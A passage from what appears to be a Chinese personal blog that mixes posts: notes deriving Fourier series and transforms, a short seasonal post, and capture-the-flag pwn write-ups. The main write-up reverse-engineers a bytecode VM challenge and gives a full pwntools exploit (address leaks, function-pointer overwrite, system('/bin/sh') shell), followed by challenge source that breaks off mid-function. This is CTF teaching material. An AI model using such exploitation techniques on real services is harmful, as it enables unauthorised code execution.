dx3906

claude-your-account-is-on-hold

2026-10-21T17:42:34.000Z

claude-your-account-is-on-hold

傅里叶变换的一些想法

2025-10-13T02:49:26.000Z

关于傅里叶变换的一些理解

傅里叶级数

首先，我们易知 $1, \sin n \omega t , \cos m \omega t$ 是正交的

再观察傅里叶级数的形式

x(t)=\frac{a_0}{2}+\sum\limits_{n=1}^{\infty}a_n\cos n \omega t+ \sum \limits_{n=1}^{\infty} b_n\sin n \omega t

所以实际上傅里叶级数是将一个周期为 $T$ 的函数 $x(t)$ 以 $1, \sin n \omega t , \cos m \omega t$ 为正交基进行展开

所以我们要求的系数就是 $x(t)$ 在 $1, \sin n \omega t , \cos m \omega t$ 这些基上的投影（注意：这些是正交基，不是标准正交基！）

以 $\cos n \omega t$ 为例，在其方向上的单位向量为

\frac{\cos n \omega t}{\left\vert \cos n \omega t \right\vert }=\frac{\cos n \omega t}{\sqrt{\int_{-\frac{T}{2}}^{\frac{T}{2}}\cos^2 n \omega t \mathrm{d}t}}

$x(t)$ 在 $\cos n \omega t$ 方向上的投影为

\frac{\boldsymbol{x}(t)\cdot \cos n \omega t}{\left\vert \cos n \omega t \right\vert }=\frac{\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t}{\sqrt{\int_{-\frac{T}{2}}^{\frac{T}{2}}\cos^2 n \omega t \mathrm{d}t}}

注：上面的 $\cdot$ 指的是向量的点积

于是， $x(t)$ 在 $\cos n \omega t$ 方向上的项为

\frac{\boldsymbol{x}(t)\cdot \cos n \omega t}{\left\vert \cos n \omega t \right\vert } \frac{\cos n \omega t}{\left\vert \cos n \omega t \right\vert }=\frac{\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t}{\int_{-\frac{T}{2}}^{\frac{T}{2}}\cos^2 n \omega t \mathrm{d}t} \cos n \omega t

所以系数 $a_n$ 为

\boxed{a_n=\frac{\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t}{\int_{-\frac{T}{2}}^{\frac{T}{2}}\cos^2 n \omega t \mathrm{d}t}=\frac{2}{T}\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t}

$b_n$ 和 $a_{0}$ 同理

傅里叶级数也可以写成复数形式，由

\begin{align*} \cos n \omega t&= \frac{e^{jn \omega t}+e^{-jn \omega t}}{2}\\ \sin n \omega t&= \frac{e^{jn \omega t}-e^{-jn \omega t}}{2j} \end{align*}

可以得到

x(t)=\frac{a_0}{2}+\sum\limits_{n=1}^{\infty} \left( \frac{a_n-j b_n}{2}e^{jn \omega t} + \frac{a_n+j b_n}{2}e^{-jn \omega t} \right)

将 $a_n, b_n$ 代入，可以求得前面系数分别为

\begin{align*} \frac{a_n+j b_n}{2}&=\frac{1}{T} \left( \int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t+j\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\sin n \omega t \mathrm{d}t\right)\\ &=\frac{1}{T}\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)e^{jn \omega t} \mathrm{d}t \\ \frac{a_n-j b_n}{2}&=\frac{1}{T}\left( \int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\cos n \omega t \mathrm{d}t-j\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)\sin n \omega t \mathrm{d}t\right)\\ &=\frac{1}{T}\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)e^{-jn \omega t} \mathrm{d}t \end{align*}

于是定义 $C_n$ ，

\boxed{C_n=\frac{1}{T}\int_{-\frac{T}{2}}^{\frac{T}{2}}x(t)e^{-jn \omega t} \mathrm{d}t ，-\infty < n< + \infty}

有

\boxed{x(t)=\sum\limits_{-\infty}^{+\infty}C_ne^{jn \omega t}}

其中 $a_0=\int_{-\frac{T}{2}}^{\frac{T}{2}} x(t)\mathrm{d}t=\int_{-\frac{T}{2}}^{\frac{T}{2}} x(t) e^{-j\cdot 0\cdot \omega t}\mathrm{d}t$ 也符合上式

傅里叶变换

如果对一个非周期函数该如何呢？

非周期函数可以视为 $T\to \infty, \omega \to \mathrm{d}\omega, n \omega \to \omega$ ，于是有

x(t)=\int_{-\infty}^{+\infty} e^{jwt} \frac{\mathrm{d} \omega}{2\pi}\int_{-\infty}^{+\infty}x(t)e^{-j\omega t}\mathrm{d}t

将 $\omega=2\pi f$ 代入

x(t)=\int_{-\infty}^{+\infty} e^{j2\pi ft} \mathrm{d}f\int_{-\infty}^{+\infty}x(t)e^{-j 2\pi f t}\mathrm{d}t

另 $F(f)=\int_{-\infty}^{+\infty}x(t)e^{-j 2\pi f t}\mathrm{d}t$ 为频谱密度

则傅里叶变换和逆变换为：

\boxed{ \begin{align*} &\mathcal{F}\{x(t)\}=F(f)=\int_{-\infty}^{+\infty}x(t)e^{-j 2\pi f t}\mathrm{d}t\\ &\mathcal{F}^{-1}\{F(f)\}=x(t)=\int_{-\infty}^{+\infty}F(f)e^{j 2\pi f t}\mathrm{d}f \end{align*}}

周期函数的傅里叶变换

引入

首先，我们需要证明一个引理：

\boxed{\int_{-\infty}^{+\infty}e^{jxy} \mathrm{d}x=2\pi\delta (y)}

证明过程如下：

\begin{align*} \int_{-\infty}^{+\infty}e^{jxy} \mathrm{d}x&=\lim_{A \to \infty} \int_{-A}^A e^{jxy}\mathrm{d}x\\ &=\lim_{A \to \infty} \int_{-A}^{A} \frac{e^{jxy}}{jy} \mathrm{d}(jxy)\\ &=\lim_{A \to \infty} \frac{e^{jAy}-e^{-jAy}}{jy}\\ &=\lim_{A \to \infty} 2 \frac{\sin Ay}{y} \end{align*}

由 $\delta (x)$ 函数的性质 $\delta (x)=\lim\limits_{k \to \infty} \frac{k}{\pi} \sin c(kx)$ ，可得

\lim_{A \to \infty} 2 \frac{\sin Ay}{y}=\lim_{A \to \infty} 2\pi \cdot \frac{A}{\pi} \sin c(Ay)=2\pi \delta(y)

由于 $\delta (x)=\delta (-x)$ ，故而也有

\boxed{\int_{-\infty}^{+\infty}e^{-jxy} \mathrm{d}x=2\pi\delta (y)}

另外，有 $\delta (Ax)=\frac{1}{A} \delta (x)$ ，证明如下：

\int_{-\infty}^{+\infty}\delta(Ax)\mathrm{d}x=\frac{1}{A}\int_{-\infty}^{+\infty}\delta(Ax)\mathrm{d}(Ax)=\frac{1}{A}

故而有

\int_{-\infty}^{+\infty}\delta(Ax)\mathrm{d}x=\int_{-\infty}^{+\infty} \frac{1}{A}\delta(x)\mathrm{d}x

因而（不严谨的说）

\boxed{\delta (Ax)=\frac{1}{A} \delta (x)}

正题

对于周期函数做傅里叶变换，可以现将其展开成傅里叶级数，再做变换，设其周期为 $T_0$ ，频率为 $f_0$

x(t)=\sum\limits_{-\infty}^{+\infty}C_ne^{j 2 \pi n f_0 t}

则有

\begin{align*} \mathcal{F}\{x(t)\}&=\int_{-\infty}^{+\infty}x(t)e^{-j 2\pi f t}\mathrm{d}t\\ &= \int_{-\infty}^{+\infty} \left( \sum\limits_{-\infty}^{+\infty}C_ne^{j 2 \pi n f_0 t} \right) e^{-j 2\pi f t}\mathrm{d}t\\ &=\sum\limits_{-\infty}^{+\infty} \left( C_n \int_{-\infty}^{+\infty} e^{-j 2\pi (f-nf_0)t }\mathrm{d}t \right)\\ &=\sum\limits_{-\infty}^{+\infty}\left( C_n \cdot 2\pi \delta(2\pi (f-nf_0)) \right) \\ &=\sum\limits_{-\infty}^{+\infty}C_n\delta(f-nf_0) \end{align*}

即有结论，周期函数 $x(t)$ 频谱密度函数 $F(f)$ 与 $x(t)$ 的傅里叶级数的系数关系为

\boxed{F(f) =\sum\limits_{-\infty}^{+\infty}C_n\delta(f-nf_0)}

四月は君の嘘

2025-03-25T02:11:01.000Z

马上要到四月了啊

平台上的mahoshojyo（魔法少女）

2025-03-05T13:52:21.000Z

mahoshojyo

预分析

用 checksec 检查一下保护，发现 got 表可写，除此之外保护全开。

查看libc版本，是2.23版本。由于本程序是 C++ 编写，所以还需要一些其他的库（这里花了我好长时间）：

ldd mahoshijio

    linux-vdso.so.1 (0x00007fff0e5ac000)
    libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f3fe5f9a000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f3fe64de000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f3fe6527000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3fe5da4000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f3fe5cbe000)

这里选择直接上国内源下载 ubuntu16.04 对应的库（或者直接docker）

此外，这个版本的libc没有tcache机制。

逆向程序

发现是一个常规的笔记程序，没有越界读写，但是有 UAF 漏洞。

void __fastcall clear_cards(char **list, unsigned int card_num)
{
  if ( card_num <= 79 )
  {
    if ( list[(int)card_num + 1] )
      free(list[(int)card_num + 1]);    //uaf
  }
}

此外，我们发现每一次 malloc 的大小都是固定 0x60 ，无法设定大小。

可以先用uaf漏洞泄露堆上的地址，再进行堆块重叠，控制某个chunk头，改变其size大小，使之free后进入unsorted bin，从而泄露libc地址 (main_arena+88==__malloc_hook+0x10)，之后得知再利用fastbin attack控制 __malloc_hook （fake chunk的地址为 __malloc_hook-0x23 ，以符合fastbin的大小），将onegadget写入hook位置，再用 malloc 触发即可 getshell

virtual_machine-UCATFLAGS2024-writeup

2024-12-11T03:04:05.000Z

virtual machine

其实感觉本题的难点在于逆向（

预分析

checksec vm

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

没有 canary ，got 表可写，开启地址随机化保护。

运行一下

hello
and how to program?
---your code---
asas
---your code---
asasas
---your code---

附件中还给了一个 libc.so.6 的动态链接库，用 strings 查看其版本

strings libc.so.6 | grep ubuntu

GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.16) stable release version 2.31.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

我们可以根据这个版本信息去搭建本地环境（当然，这不是刚需，尤其是你觉得不需要调试的时候）。搭建这个环境的作用是使得各函数在 libc 库中的偏移与服务端一致。

配置本地调试环境大家可以自行查询，关键词： glibc-all-in-one patchelf

接下来使用 ida64 进行分析

逆向程序

根据题目提示，这是一台虚拟机，也可以在ida函数界面看到一些像是汇编指令一样的函数名，如 jmp call push 等。

观察 main 函数的主体部分，发现先是调用 exec 函数，传入了两个字节流，下面又将我们的输入传给 exec 函数，所以进入这个函数查看。

__int64 __fastcall exec(__int64 a1, unsigned __int8 a2)
{
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; i <= 7; ++i )
    *(&ra)[i] = 0;
  memset(&sysmm, 0, 0x2B00uLL);
  load_ftable();
  load_text(a1, a2);
  return exec_text();
}

a1 由我们上面的分析，应该是要执行的命令的字符串， a2 现在还不知道，可以进入 load_text 查看。

void *__fastcall load_text(const void *a1, unsigned __int8 a2)
{
  void *result; // rax

  result = memcpy(&unk_7300, a1, a2);
  r6 = 0;
  return result;
}

发现是将 a1 copy 到 &unk_7300 ，copy的字节数是 a2 ，所以 a2 的含义应该是 a1 的长度，exec 原型应是 exec(char* a1, uint8_t a2) ，观察 main 函数，发现其实没有关于此处的漏洞。

exec 函数的前一部分是将一些东西初始化为0 ，主要分析后面三个函数 load_ftable load_text exec_text

下面是 load_ftable

__int64 (__fastcall *load_ftable())()
{
  __int64 (__fastcall *result)(); // rax

  memset(&unk_7400, 0, 0x800uLL);
  qword_7480 = (__int64)inc0;
  qword_7488 = (__int64)dec0;
  qword_7490 = (__int64)nop;
  qword_7498 = (__int64)ret;
  qword_7500 = (__int64)push;
  qword_7508 = (__int64)pop;
  qword_7530 = (__int64)nor;
  qword_7538 = (__int64)shl;
  qword_7540 = (__int64)pac;
  qword_7548 = (__int64)incr;
  qword_7550 = (__int64)decr;
  qword_7558 = (__int64)gac;
  qword_7600 = (__int64)add;
  qword_7608 = (__int64)or;
  qword_7610 = (__int64)xor;
  qword_7618 = (__int64)movrr;
  qword_7620 = (__int64)movmtr;
  qword_7628 = (__int64)movrtm;
  qword_7630 = (__int64)cmpl;
  qword_7638 = (__int64)cmps;
  qword_7640 = (__int64)cmpe;
  qword_7648 = (__int64)sub;
  qword_7700 = (__int64)ldr;
  qword_7800 = (__int64)call;
  qword_7808 = (__int64)jne;
  qword_7810 = (__int64)jns;
  qword_7818 = (__int64)jnl;
  qword_7820 = (__int64)jmp;
  qword_7828 = (__int64)jl;
  qword_7830 = (__int64)js;
  result = je;
  qword_7838 = (__int64)je;
  return result;
}

load_ftable 函数将一些函数地址写入了 bss 段的变量里。这些函数的功能在这里就不赘述了，主要是实现一些类似汇编指令的功能。从这些函数的分析中，我们可以看到一些被经常使用的变量，如 r6 ，而且它自增的值似乎与函数的参数个数有关，可以推测其功能应该类似于 eip 寄存器。

load_text 只是进行了一个拷贝。

void *__fastcall load_text(const void *a1, unsigned __int8 a2)
{
  void *result; // rax

  result = memcpy(&byte_7300, a1, a2);
  r6 = 0;
  return result;
}

下面是 exec_text 函数

__int64 exec_text()
{
  __int64 result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = *(_QWORD *)&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480];
    if ( !result )
      break;
    result = (unsigned __int8)byte_7300[(unsigned __int16)r6];
    if ( !(_BYTE)result || i == 512 )
      break;
    if ( (unsigned __int8)byte_7300[(unsigned __int16)r6] <= 0xFu
      || (unsigned __int8)byte_7300[(unsigned __int16)r6] > 0x1Fu )
    {
      if ( (unsigned __int8)byte_7300[(unsigned __int16)r6] <= 0x1Fu
        || (unsigned __int8)byte_7300[(unsigned __int16)r6] > 0x3Fu )
      {
        if ( (unsigned __int8)byte_7300[(unsigned __int16)r6] <= 0x3Fu
          || (unsigned __int8)byte_7300[(unsigned __int16)r6] > 0x5Fu )
        {
          if ( byte_7300[(unsigned __int16)r6] < 96 )
          {
            if ( byte_7300[(unsigned __int16)r6] <= -113 )
              (*(void (__fastcall **)(_QWORD))&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480])((unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]);
          }
          else
          {
            (*(void (__fastcall **)(__int16 *, _QWORD))&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6]
                                                            + 4480])(
              (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]],
              (unsigned __int16)((unsigned __int8)byte_7300[(unsigned __int16)r6 + 2]
                               + ((unsigned __int8)byte_7300[(unsigned __int16)r6 + 3] << 8)));
          }
        }
        else
        {
          (*(void (__fastcall **)(__int16 *, __int16 *))&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6]
                                                             + 4480])(
            (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]],
            (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 2]]);
        }
      }
      else
      {
        (*(void (__fastcall **)(__int16 *))&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480])((&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]]);
      }
    }
    else
    {
      (*(void (**)(void))&sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480])();
    }
  }
  return result;
}

exec_text 函数中可以发现一个经常出现的变量 byte_7300[(unsigned __int16)r6] ，整个函数的大体含义是根据 byte_7300[(unsigned __int16)r6] 的值，执行 &sysmm[4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480]) 处的函数，不同条件函数传入的参数不同。

那么这个函数指针与之前那么多函数有什么关系呢？

&sysmm 的类型是 _WORD ，所以函数指针的地址应为

sysmm_offset + ( 4 * (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480 ) * 2

其中 sysmm 的偏移为 0x0000000000005100 ，与后面相加为

0x7400 + 8 * (unsigned __int8)byte_7300[(unsigned __int16)r6]

这便是函数指针的地址。

至于 byte_7300 ，可以从函数 load_text 中看到，这是从我们的输入拷贝过来的，也就是说我们的输入决定了程序调用那个函数指针，而调用规则则由 load_ftable 函数进行加载。而且，这更加印证了 r6 相当于虚拟机的 ip 寄存器。

再分析这些函数调用的参数是什么。

发现与 (unsigned __int8)byte_7300[(unsigned __int16)r6] + 4480] 有如下对应关系（改写成c）

uint8_t one_byte = (unsigned __int8)byte_7300[(unsigned __int16)r6];

if (one_byte >= 0x10 && one_byte < 0x20) {
    (*(void (**)(void))&sysmm[4 * one_byte + 4480])();
    // 参数：无
}
else if (one_byte >= 0x20 && one_byte < 0x40) {
    (*(void (__fastcall **)(__int16 *))&sysmm[4 * one_byte + 4480])((&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]]);
    // 参数：one_byte 的下一个子节作为索引，在ra数组中的值，被解释为一个int16指针
}
else if (one_byte >= 0x40 && one_byte < 0x60) {
    (*(void (__fastcall **)(__int16 *, __int16 *))&sysmm[4 * one_byte + 4480])(
        (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]],
        (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 2]]
    );
    // 参数：one_byte 的下一个字节和再下一个字节为索引，在ra数组中的值，被解释为一个int16指针
}
else if (one_byte >= 0x60 && one_byte < 0x80) {
    (*(void (__fastcall **)(__int16 *, _QWORD))&sysmm[4 * one_byte + 4480])(
        (&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]],
        (unsigned __int16)((unsigned __int8)byte_7300[(unsigned __int16)r6 + 2] + ((unsigned __int8)byte_7300[(unsigned__int16)r6 + 3] << 8))
    );
    // 参数：1. one_byte 的下一个子节作为索引，在ra数组中的值，被解释为一个int16指针
    //       2. one_byte 下第二、第三个字节分别作为低位和高位拼接成的一个 int16类型的整数
}
else if (one_byte >= 0x80 && one_byte < 0x90) /*此处注意char类型的正负*/{
    (*(void (__fastcall **)(_QWORD))&sysmm[4 * one_byte + 4480])((unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]);
    //参数：直接传入 one_byte 的下一个字节作为参数
}

这里，我们其实可以结合前面的函数注意到，ra 实际上是一个指针数组，其内部储存着 r0 ~ r7 的地址。所以这里（(&ra)[(unsigned __int8)byte_7300[(unsigned __int16)r6 + 1]]）其实存在一个数组越界漏洞，即我们的输入值可以大于 ra 的最大索引 7 ，从而实现一些事情。

漏洞利用

首先，这个程序依据我们的输入，调用不同的函数指针，执行不同的代码，那么我们可以通过更改或向对应位置写入函数指针再通过输入调用该函数，便可实现函数的执行。

然后，我们要想利用 libc 中的 system 函数，需要泄露程序的 libc 基址，这就需要我们泄露 got 表中的值，但由于地址随机化，我们要想知道 got 表的地址，就需要知道程序加载的基址。显然的，bss 段上已经有一些已储存的函数指针，他们都指向 text 段，可以泄露程序基址。（使用函数pac，它能打印依据 sysmm 偏移的字节）

于是我们可以像编写汇编代码一样编写本虚拟机的代码。下面附上各函数的指令如下（即上面的 one_byte 值）：

0x10    inc0;
0x11    dec0;
0x12    nop;
0x13    ret;
0x20    push;
0x21    pop;
0x26    nor;
0x27    shl;
0x28    pac;
0x29    incr;
0x2a    decr;
0x2b    gac;
0x40    add;
0x41    or;
0x42    xor;
0x43    movrr;
0x44    movmtr;
0x45    movrtm;
0x46    cmpl;
0x47    cmps;
0x48    cmpe;
0x49    sub;
0x60    ldr;
0x80    call;
0x81    jne;
0x82    jns;
0x83    jnl;
0x84    jmp;
0x85    jl;
0x86    js;
0x87    je;

于是，我们可以编写代码

payload1=b""
payload1+=b"\x60\x00\x08\x00" # ldr r0,0x0008
payload1+=b"\x60\x01"+(nop_f_addr_r-sysmm_addr_r).to_bytes(2,'little') # ldr r1, nop_offset
payload1+=b"\x28\x01" # pac, r1
payload1+=b"\x29\x01" # incr, r1
payload1+=b"\x11" # inc0
payload1+=b"\x48\x00\x02" # cmpe r0, r2  ; 此时r2为初始值，是0
payload1+=b"\x81\x08" # je 0x08

上面代码通过循环实现了打印 nop 这个函数指针，这个指针减去 ida 中可以查看到的偏移即为程序基址

payload2=b""
payload2+=b"\x60\x01"+((puts_plt&0xffff)).to_bytes(2,'little')
payload2+=b"\x60\x00"+(puts_f_addr_r-sysmm_addr_r).to_bytes(2,'little')
payload2+=b"\x45\x00\x01" # movrtm r0, r1 ; 看清源操作数和目的操作数
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((puts_plt>>16)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((puts_plt>>32)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x60\x01"+(putchar_got&0xffff).to_bytes(2,'little')
payload2+=b"\x60\x00\x00\x00" 
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((putchar_got>>16)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((putchar_got>>32)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x2c"+((sysmm_addr_r-ra_addr_r)//8).to_bytes(1,'little') # 利用了数组越界漏洞，打印了 ra[8]

这段代码主要实现了将 puts 的 plt 表地址复制到指令 0x2c 所对应的内存处，即程序中变量 puts_f_addr_r ，再调用 puts 函数打印出 putchar 的 got 表，从而泄露 libc 基址。

payload3=b""
payload3+=b"\x60\x01"+((system_addr&0xffff)).to_bytes(2,'little')
payload3+=b"\x60\x00"+(puts_f_addr_r-sysmm_addr_r).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((system_addr>>16)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((system_addr>>32)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x60\x01"+(abinsh_addr&0xffff).to_bytes(2,'little')
payload3+=b"\x60\x00\x00\x00"
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((abinsh_addr>>16)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((abinsh_addr>>32)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x2c"+((sysmm_addr_r-ra_addr_r)//8).to_bytes(1,'little')

这段代码现将计算得到的 system 函数地址写入 0x2c 指令所在地址，在调用该函数，实现 getshell 。这里同样利用了和 payload2 一样的数组越界漏洞（ra数组）

下面是完整exp

from pwn import *
ip='test ip'     # test ip
port=9999           # test port
conn=connect(ip,port)

libc=ELF("/home/kali/ctf/task/VM/virtual_machine/src/libc.so.6")    #load libc

system_libc=libc.sym['system']
putchar_libc=libc.sym['putchar']
abinsh_libc=libc.search(b'/bin/sh').__next__()

puts_plt_r=0x00000000000010D0
putchar_got_r=0x0000000000005018
nop_addr_r=0x0000000000001D1D
nop_f_addr_r=0x0000000000007490
sysmm_addr_r=0x0000000000005100
ra_addr_r=0x0000000000005080
puts_f_addr_r=0x7560    # where we want puts' address to be stored


# leak .text base address
payload1=b""
payload1+=b"\x60\x00\x08\x00"
payload1+=b"\x60\x01"+(nop_f_addr_r-sysmm_addr_r).to_bytes(2,'little')
payload1+=b"\x28\x01"
payload1+=b"\x29\x01"
payload1+=b"\x11"
payload1+=b"\x48\x00\x02"
payload1+=b"\x81\x08"

conn.recvline()
conn.recvline()
conn.recvline()
conn.sendline(payload1)

nop_addr=int.from_bytes(conn.recvline()[0:8],'little')
text_base=nop_addr-nop_addr_r


putchar_got=putchar_got_r+text_base
puts_plt=puts_plt_r+text_base


# leak libc base
payload2=b""
payload2+=b"\x60\x01"+((puts_plt&0xffff)).to_bytes(2,'little')
payload2+=b"\x60\x00"+(puts_f_addr_r-sysmm_addr_r).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((puts_plt>>16)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((puts_plt>>32)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x60\x01"+(putchar_got&0xffff).to_bytes(2,'little')
payload2+=b"\x60\x00\x00\x00"
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((putchar_got>>16)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x10\x10"
payload2+=b"\x60\x01"+((putchar_got>>32)&0xffff).to_bytes(2,'little')
payload2+=b"\x45\x00\x01"
payload2+=b"\x2c"+((sysmm_addr_r-ra_addr_r)//8).to_bytes(1,'little')

conn.sendline(payload2)
putchar_addr=int.from_bytes(conn.recvline()[:-1],'little')

libcbase=putchar_addr-putchar_libc
system_addr=libcbase+system_libc
abinsh_addr=libcbase+abinsh_libc

# system("/bin/sh")
payload3=b""
payload3+=b"\x60\x01"+((system_addr&0xffff)).to_bytes(2,'little')
payload3+=b"\x60\x00"+(puts_f_addr_r-sysmm_addr_r).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((system_addr>>16)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((system_addr>>32)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x60\x01"+(abinsh_addr&0xffff).to_bytes(2,'little')
payload3+=b"\x60\x00\x00\x00"
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((abinsh_addr>>16)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x10\x10"
payload3+=b"\x60\x01"+((abinsh_addr>>32)&0xffff).to_bytes(2,'little')
payload3+=b"\x45\x00\x01"
payload3+=b"\x2c"+((sysmm_addr_r-ra_addr_r)//8).to_bytes(1,'little')

conn.recvuntil("---your code---\n")
conn.sendline(payload3)
conn.interactive()

程序源码

vm.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "memory.h"
#include "operator.h"
#include "registers.h"

#define MIN(x,y) (((x)<(y))?(x):(y))

void exec(char* buf,uint8_t buf_size){
    for (size_t i = 0; i < RNUM; i++)
    {
        *(ra[i])=0;
    }
    
    memset((char*)&sysmm,0,sizeof(sysmm));
    load_ftable();
    load_text(buf,MIN(buf_size,sizeof(sysmm.text)));
    exec_text();
}

int main(int argc, char const *argv[])
{
    // char ii[2]={0x1,0x2};
    // vm_init();
    // vm_process(ii);
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);

    char code[]="\x60\x01he\x60\x00\x00\x02\x45\x00\x01\x10\x10"
    "\x60\x01ll\x45\x00\x01\x10\x10"
    "\x60\x01o\x0a\x45\x00\x01\x10\x10"
    "\x60\x02\x00\x02\x49\x00\x02\x28\x02\x11\x29\x02\x48\x00\x03\x81\x26\x10\x11";
    
    exec(code,sizeof(code));
    // load_ftable();
    // load_text(code,MIN(sizeof(code),sizeof(sysmm.text)));
    // exec_text();


    char code2[]="\x60\x01\x61\x6e\x60\x00\x00\x02\x45\x00\x01\x10\x10"
    "\x60\x01\x64\x20\x45\x00\x01\x10\x10"
    "\x60\x01\x68\x6f\x45\x00\x01\x10\x10"
    "\x60\x01\x77\x20\x45\x00\x01\x10\x10"
    "\x60\x01\x74\x6f\x45\x00\x01\x10\x10"
    "\x60\x01\x20\x70\x45\x00\x01\x10\x10"
    "\x60\x01\x72\x6f\x45\x00\x01\x10\x10"
    "\x60\x01\x67\x72\x45\x00\x01\x10\x10"
    "\x60\x01\x61\x6d\x45\x00\x01\x10\x10"
    "\x60\x01\x3f\x0a\x45\x00\x01\x10\x10"
    "\x60\x02\x00\x02\x49\x00\x02"
    "\x28\x02\x11\x29\x02\x48\x00\x03\x81\x65\x00";

    exec(code2,sizeof(code2));

    char your_code[256]={0};

    while (1)
    {
        puts("---your code---");
        fgets(your_code,256,stdin);
        exec(your_code,255);
    }
    

    return 0;
}

registers.c

#include <stdint.h>
#include "memory.h"
#include "registers.h"

uint16_t r0=0;
uint16_t r1=0;
uint16_t r2=0;
uint16_t r3=0;
uint16_t r4=0;
uint16_t r5=0;
uint16_t r6=0;
uint16_t r7=0;

uint16_t* ra[RNUM]={&r0,&r1,&r2,&r3,&r4,&r5,&r6,&r7};

registers.h

#ifndef REGISTERS_H
#define REGISTERS_H

#include <stdint.h>

#define R(i) (r##i)
#define RNUM 8

extern uint16_t r0;
extern uint16_t r1;
extern uint16_t r2;
extern uint16_t r3;
extern uint16_t r4;
extern uint16_t r5;
extern uint16_t r6;
extern uint16_t r7;
extern uint16_t* ra[RNUM];

#endif

operator.c

#include <stdint.h>
#include <stdio.h>
#include "operator.h"
#include "memory.h"
#include "registers.h"

void inc0(){
    r0++;
    r6++;
}

void dec0(){
    r0--;
    r6++;
}

void nop(){
    r6++;;
}

void ret(){
    pop(&r6);
}


void push(uint16_t* r){
    sysmm.stack[r7]=*r;
    r7++;
    r6++;
    r6++;
}

void pop(uint16_t* r){
    r7--;
    *r=sysmm.stack[r7];
    r6++;
    r6++;
}

void jmp(uint8_t n){
    r6=n;
}

void jl(uint8_t n){
    r6=(r5==3)?(n):(r6+2);
}

void js(uint8_t n){
